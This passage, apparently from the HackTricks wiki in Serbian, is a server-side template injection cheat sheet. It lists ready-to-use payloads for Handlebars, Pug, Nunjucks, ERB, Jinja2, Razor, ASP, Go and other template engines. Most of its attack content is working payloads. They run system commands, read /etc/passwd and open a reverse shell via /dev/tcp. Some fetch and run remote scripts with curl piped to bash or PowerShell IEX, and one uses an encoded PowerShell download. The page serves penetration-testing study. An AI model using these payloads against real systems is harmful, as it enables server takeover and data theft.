%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Više informacija

JsRender (NodeJS)

Šablon Opis
Evaluacija i prikaz rezultata
Evaluacija i prikaz rezultata u HTML kodu
Komentar
i Dozvoljava kod (onemogućeno po default-u)
  • = 49

Klijentska strana

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Server Side

Server Side (Server Side) je tehnika napada koja omogućava ubacivanje i izvršavanje koda na serverskoj strani aplikacije. Ova tehnika se često koristi za napade na aplikacije koje koriste server-side template engine, kao što su Jinja2, Twig, Freemarker, itd.

Kako radi Server Side Template Injection (SSTI)?

Server Side Template Injection (SSTI) se javlja kada aplikacija dozvoljava korisnicima da unose podatke koji se kasnije koriste za generisanje dinamičkog sadržaja na serverskoj strani. Ako aplikacija ne pravilno validira ili filtrira korisnički unos, napadač može ubaciti zlonamerni kod koji će biti izvršen na serverskoj strani.

Napadač može iskoristiti SSTI da bi izvršio različite vrste napada, kao što su:

  • Izvršavanje proizvoljnog koda: Napadač može ubaciti zlonamerni kod koji će biti izvršen na serverskoj strani, što može dovesti do kompromitovanja celokupnog sistema.
  • Otkrivanje osetljivih informacija: Napadač može iskoristiti SSTI da bi pristupio osetljivim informacijama, kao što su lozinke, ključevi za pristup bazi podataka, ili druge poverljive informacije.
  • Napadi na sistem: Napadač može iskoristiti SSTI da bi izvršio napade na serverski sistem, kao što su DoS (Denial of Service) napadi ili napadi na druge aplikacije koje se izvršavaju na istom serveru.

Kako sprečiti Server Side Template Injection (SSTI)?

Da biste sprečili Server Side Template Injection (SSTI), trebali biste preduzeti sledeće mere:

  • Validacija korisničkog unosa: Pravilno validirajte i filtrirajte korisnički unos kako biste sprečili ubacivanje zlonamernog koda.
  • Korišćenje sigurnih template engine-a: Koristite template engine-e koji imaju ugrađene mehanizme zaštite od SSTI napada, kao što su Jinja2 sa "autoescape" podešavanjem ili Twig sa "sandbox" režimom.
  • Pravilno konfigurisanje servera: Konfigurišite server tako da bude siguran i da primenjuje odgovarajuće bezbednosne mere, kao što su pravilno podešavanje pristupa fajlovima i ograničavanje privilegija izvršavanja koda.

Zaključak

Server Side Template Injection (SSTI) je ozbiljna ranjivost koja može dovesti do kompromitovanja serverske aplikacije i otkrivanja osetljivih informacija. Da biste se zaštitili od SSTI napada, važno je pravilno validirati korisnički unos, koristiti sigurne template engine-e i pravilno konfigurisati server.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Više informacija

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Primer server-side renderovanja

var pugjs = require('pug');
home = pugjs.render(injected_page)

Više informacija

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Nema izlaza
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Greška
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Više informacija

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Greška
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Više informacija

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Više informacija

Python

Pogledajte sledeću stranicu da biste naučili trikove o proizvoljnom izvršavanju komandi zaobilazeći peskovnike u pythonu:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}



{{os.system('whoami')}}
{{os.system('whoami')}}

Više informacija

Jinja2 (Python)

Zvanična veb stranica

Jinja2 je potpuno opremljen šablonski motor za Python. Ima podršku za Unicode, opciono integrisano okruženje za izvršavanje u pesku, široko se koristi i licenciran je pod BSD licencom.

  • {{7*7}} = Greška
  • ${7*7} = ${7*7}
  • {{foobar}} Ništa
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format šablona

Jinja2 je popularan jezik šablona koji se koristi za generisanje dinamičkog sadržaja u Python aplikacijama. Ovaj jezik šablona podržava različite funkcionalnosti, uključujući Server-Side Template Injection (SSTI). SSTI je tehnika koja omogućava napadaču da ubaci i izvrši svoj kod na serveru putem šablona.

Kako funkcioniše SSTI?

Kada se koristi Jinja2, šabloni se sastoje od HTML koda sa dodatnim oznakama koje označavaju mesta gde se ubacuju dinamički podaci. Međutim, ako se nepravilno koristi, ova tehnika može dovesti do SSTI ranjivosti.

Napadač može iskoristiti SSTI ranjivost tako što će ubaciti zlonamerni kod u šablon koji će biti izvršen na serveru. Ovo može dovesti do ozbiljnih posledica, uključujući izvršavanje proizvoljnog koda, otkrivanje osetljivih informacija ili čak preuzimanje kontrole nad serverom.

Identifikacija SSTI ranjivosti

Da biste identifikovali SSTI ranjivost, možete pokušati da ubacite jednostavne izraze u šablon i proverite da li se rezultat izvršava na serveru. Na primer, možete pokušati da ubacite {{7*7}} i proveriti da li se rezultat 49 prikazuje na stranici.

Takođe, možete iskoristiti različite metode za identifikaciju SSTI ranjivosti, kao što su korišćenje specifičnih sintaksnih konstrukcija ili testiranje različitih operatora.

Eksploatacija SSTI ranjivosti

Kada identifikujete SSTI ranjivost, možete je iskoristiti za izvršavanje zlonamernog koda na serveru. Na primer, možete pokušati da izvršite sistemsku komandu ili pristupite osetljivim podacima.

Da biste to postigli, možete koristiti različite tehnike, kao što su korišćenje funkcija sistema, pristup globalnim promenljivama ili korišćenje objekata koji su dostupni u okviru Jinja2.

Prevencija SSTI ranjivosti

Da biste sprečili SSTI ranjivosti, važno je pravilno koristiti Jinja2 šablone. Evo nekoliko mera koje možete preduzeti:

  1. Validirajte i filtrirajte korisnički unos kako biste sprečili ubacivanje zlonamernog koda.
  2. Koristite sigurne metode za ubacivanje dinamičkih podataka u šablone, kao što su safe filteri ili escape funkcije.
  3. Ažurirajte Jinja2 biblioteku na najnoviju verziju kako biste iskoristili sigurnosne ispravke.

Pravilno korišćenje Jinja2 šablona ključno je za sprečavanje SSTI ranjivosti i održavanje sigurnosti vaših Python aplikacija.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nezavisan od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Više detalja o zloupotrebi Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Drugi payloadi na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Više informacija

Razor (.Net)

  • @(2+2) <= Uspeh
  • @() <= Uspeh
  • @("{{code}}") <= Uspeh
  • @ <= Uspeh
  • @{} <= GREŠKA!
  • @{ <= GREŠKA!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOw==");`

Metoda .NET System.Diagnostics.Process.Start može se koristiti za pokretanje bilo kog procesa na serveru i tako stvoriti webshell. Možete pronaći primer ranjive web aplikacije na https://github.com/cnotin/RazorVulnerableApp

Više informacija

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Ništa
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Više informacija

Mojolicious (Perl)

Čak i ako je u pitanju Perl, koristi oznake poput ERB u Ruby-ju.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Greška
<%= perl code %>
<% perl code %>

SSTI u GO-u

U Go-ovom template engine-u, potvrda korišćenja može se izvršiti sa određenim payload-ima:

  • {{ . }}: Otkriva strukturu unosa podataka. Na primer, ako se prosledi objekat sa atributom Password, {{ .Password }} bi moglo da ga otkrije.
  • {{printf "%s" "ssti" }}: Očekuje se da prikaže string "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: Ovi payload-i bi trebalo da vrate "ssti" bez dodavanja "html" ili "js". Dodatne direktive mogu se istražiti u Go dokumentaciji ovde.

Eksploatacija XSS-a

Sa paketom text/template, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template enkodira odgovor kako bi sprečio ovo (npr. {{"<script>alert(1)</script>"}} rezultira sa &lt;script&gt;alert(1)&lt;/script&gt;). Međutim, definisanje i pozivanje template-a u Go-u može zaobići ovaj enkodiranje: {{define "T1"}}{{end}} {{template "T1"}}

vbnet Copy code

Eksploatacija RCE-a

Eksploatacija RCE-a se značajno razlikuje između html/template i text/template. Modul text/template omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost "call"), što nije dozvoljeno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.

Za RCE putem SSTI u Go-u, mogu se pozivati metode objekta. Na primer, ako obezbeđeni objekat ima System metodu koja izvršava komande, može se iskoristiti kao {{ .System "ls" }}. Obično je potrebno pristupiti izvornom kodu da bi se ovo iskoristilo, kao u datom primeru:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Više informacija

Više eksploatacija

Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više eksploatacija. Takođe možete pronaći zanimljive informacije o oznakama na https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Povezana pomoć

Ako mislite da bi moglo biti korisno, pročitajte:

Alati

Lista za otkrivanje Brute-Force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Praksa i reference

RootedCON je najrelevantniji događaj u vezi sa sajber bezbednošću u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vruća tačka susreta za profesionalce iz oblasti tehnologije i sajber bezbednosti u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: